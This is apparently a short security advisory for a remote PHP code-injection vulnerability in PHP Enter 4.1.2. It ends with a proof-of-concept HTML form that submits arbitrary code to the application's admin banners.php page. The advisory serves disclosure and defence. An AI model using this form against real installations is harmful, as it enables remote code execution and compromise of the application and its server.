source: http://www.securityfocus.com/bid/53426/info

PHP Enter is prone to a remote PHP code-injection vulnerability.

An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

PHP Enter 4.1.2 is vulnerable; other versions may also be affected. 

<form method="post" action="http://www.example.com/admin/banners.php">
<center>
<font color=#3A586A>Code</font><br />
<textarea name="code">&lt;/textarea&gt;
<br /><br />
<input type="submit" name="submit" VALUE=" Submit"><br /><br /><br /><br/>
</form> 